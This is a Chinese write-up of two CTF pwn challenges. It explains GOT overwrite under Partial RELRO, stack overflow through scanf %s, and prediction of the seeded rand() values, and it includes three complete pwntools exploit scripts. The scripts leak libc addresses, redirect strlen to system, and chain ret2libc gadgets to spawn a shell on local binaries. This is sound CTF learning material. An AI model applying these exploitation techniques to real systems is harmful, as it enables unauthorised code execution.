# 国赛题复现
不同地区的国赛题,进行复现。— 简单 pwn 题
# 华北赛区:
# RELRO 保护机制
1.RELRO 的保护机制可用于防护 GOT hijacking
,其全名为 Relocation Read-Only
。
2. 本题中 checksec
中为 Partial RELRO
,这种情况下, GOT
可写,即存在 GOT hijacking
的漏洞
3. 而保护的方式是设置为 Full RELRO
,这种情况下不会出现 lazy binding
,因为在 Load time
时会将所有 funciton resolve
完毕,并设置 GOT
不可写。
给到的附件是这两个。
# 检查程序
开启了堆栈不可执行和 pie 保护。
普通的执行并没有发现什么东西
# 放入 IDA
这是给到的几个函数
这是其中有用的函数,接下来进行分析
其中 v2 数组在他的索引 0 的位置有 puts 函数的地址。
main 函数显示调用了 96B 这个函数,96B 内有个 scanf 函数,他的参数是 %252s,这里要记住,要用到,往下看,还有是 sacnf,这里主要是绕过判断的。只要绕过这个判断,我们就能得到 v2 的索引 0 处的地址。
参数 % s
% s 参数在 PWN 题中的应用应该是最常见的了。scanf (“% s”, a) 实际上与 gets 一样危险,均不会检查 a 的边界,出现在题中一定是一个可以进行栈溢出或堆溢出的重点。这里注意其与 read 函数相同,可以读取 \x00 后面的内容,仅将换行作为输入读取的结束标志。不过这里要注意的是,% s 参数会以空格作为分隔符,也就是说,如果输入中含有空格,那么空格前后的内容会被分配到不同的 % s 参数中。这一点在使用 scanf 进行溢出时需要注意,否则容易造成 ROP 链断裂等问题。
里面 V4 是个局部变量,这样我们可以利用第一个 scanf 把它覆盖成 0。第一个函数我们思路有了,接下来就是第二个函数的思路。
第三个 scanf,这是用来绕过判断的。一共有两个 read 函数,第一个 read 函数没啥用,有意思的就是第二个 read 函数。
栈中的数组越界:
因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。
栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。
所以通过第二个 read 函数,去控制修改地址。首先就是去做到覆盖,这种覆盖也是第一次见,是看 bss 段里大小去覆盖。
覆盖 0x1c 字节大小,覆盖完后去修改地址,但是因为 v0 是通过 rax 去存参的,所以需要去传两遍参,正好有两次传参机会,我们可以去修改 close 函数,变成一个我们想要去程序执行的函数。
这里我们要重新返回执行 A31 这个函数,接下来就是重头戏,去修改 got 表。
非常关键一点就是这里,我们可以修改 strlen 函数,变成 system 函数,在给他传个 bin/sh 即可
# exp
from pwn import * | |
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h']) | |
local = 2 | |
if local == 1: | |
io = remote(0) | |
else: | |
io = process('./pwn') | |
libc = ELF('./libc.so.6') | |
payload = b'a'*(0xfc) | |
io.sendafter(b'challen',payload) | |
io.recvuntil(b'Good luck!\n') | |
io.sendline(b'22') | |
io.recvuntil(b'gift:\n') | |
puts_addr = u64(io.recv(6).ljust(8,b'\x00')) | |
print(hex(puts_addr)) | |
libc_base = puts_addr - libc.symbols['puts'] | |
print(hex(libc_base)) | |
system = libc_base + libc.symbols['system'] | |
print(hex(system)) | |
strlen_addr = libc_base + libc.symbols['strlen'] | |
print(hex(strlen_addr)) | |
io.recvuntil(b'index>>\n') | |
# sleep(0.1) | |
io.sendline(b'5') | |
io.recvuntil(b'input>>\n') | |
# gdb.debug() | |
# gdb.attach(io) | |
paylaod = b'a'*(0x1c) + b'\x88\xff\xff\xff' | |
io.send(paylaod) | |
# gdb.attach(io) | |
# io.recvuntil(b'bye~\n') | |
# payload1 = b'\xe0\xef' | |
io.sendafter(b'bye~\n',b'\x31\x0a') | |
io.sendline(b'5') | |
payload = (b'c').ljust(0x1c,b'a') + b'\x78\xff\xff\xff' | |
io.sendafter(b'input>>\n',payload) | |
io.sendafter(b'bye~\n',p64(system)[:3]) | |
# gdb.attach(io) | |
io.sendline(b'5') | |
io.sendafter(b'input>>\n',b'/bin/sh\x00') | |
# io.send(b'a') | |
io.interactive() |
# 华东赛区:
# 检查程序:
# 执行程序:
# 放入 IDA:
# 发现漏洞函数:
整体思路,绕过随机数检查判断,到达漏洞函数,获取 shell。seed 种子是 4 字节大小要注意
# exp:
from pwn import* | |
from ctypes import* | |
context(arch='amd64',os='linux') | |
context.log_level='debug' | |
context.terminal=['tmux','splitw','-h'] | |
local = 2 | |
if local == 1: | |
p = remote() | |
else: | |
p = process('./vuln') | |
libc = cdll.LoadLibrary('libc.so.6') | |
elf = ELF('./vuln') | |
ret = 0x40101a | |
pop_rdi = 0x00401443 | |
puts_plt = elf.plt['puts'] | |
puts_got = elf.got['puts'] | |
main = elf.sym['main'] | |
gift = 0x040125D | |
b = libc.srand(libc.time(0)) | |
# gdb.attach(p) | |
payload = b'a'*(14)+ p32(libc.time(0)) | |
p.sendafter(b'name:\n',payload) | |
# v6 = (libc.rand(b)-1) %100 +2 | |
# p.sendafter(b'number:\n',p32(v6)) | |
for i in range(100): | |
v6 = libc.rand() %100 + 1 | |
p.sendafter(b'number:\n',p32(v6)) | |
# gdb.attach(p) | |
libc = ELF('./libc-2.27.so') | |
p.recvuntil(b'your gift!\n') | |
payload = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(gift) | |
p.sendline(payload) | |
puts_addr = u64(p.recv(6).ljust(8,b'\x00')) | |
print(hex(puts_addr)) | |
libc_base = puts_addr - libc.symbols['puts'] | |
print(hex(libc_base)) | |
sys = libc_base + libc.symbols['system'] | |
print(hex(sys)) | |
binsh = libc_base + next(libc.search(b'/bin/sh')) | |
print(hex(binsh)) | |
payload = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys) | |
p.send(payload) | |
p.interactive() |
但是我本地的 libc 下载来,还是打不通,真的不知道啊啊啊啊啊啊
能打通本地的 exp
from pwn import* | |
from ctypes import* | |
from LibcSearcher import * | |
context(arch='amd64',os='linux') | |
context.log_level='debug' | |
context.terminal=['tmux','splitw','-h'] | |
local = 2 | |
if local == 1: | |
p = remote() | |
else: | |
p = process('./vuln') | |
libc = cdll.LoadLibrary('libc.so.6') | |
elf = ELF('./vuln') | |
ret = 0x40101a | |
pop_rdi = 0x401443 | |
puts_plt = elf.plt['puts'] | |
puts_got = elf.got['puts'] | |
main = elf.sym['main'] | |
gift = 0x40125D | |
b = libc.srand(libc.time(0)) | |
payload = b'a'*(14)+ p32(libc.time(0)) | |
p.sendafter(b'name:\n',payload) | |
for i in range(100): | |
v6 = libc.rand() %100 + 1 | |
p.sendafter(b'number:\n',p32(v6)) | |
p.recvuntil(b'your gift!\n') | |
payload1 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(gift) | |
p.sendline(payload1) | |
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) | |
print(hex(puts_addr)) | |
libc = LibcSearcher('puts',puts_addr) | |
libcbase = puts_addr - libc.dump('puts') | |
addr_system = libcbase + libc.dump("system") | |
addr_binsh = libcbase + libc.dump("str_bin_sh") | |
payload2 = b'a'*(0x30+0x8)+p64(ret)+p64(pop_rdi)+p64(addr_binsh)+p64(addr_system) | |
p.sendline(payload2) | |
p.interactive() |
os: 早知道 libcsearcher 能打通,谁会掉头发!!!!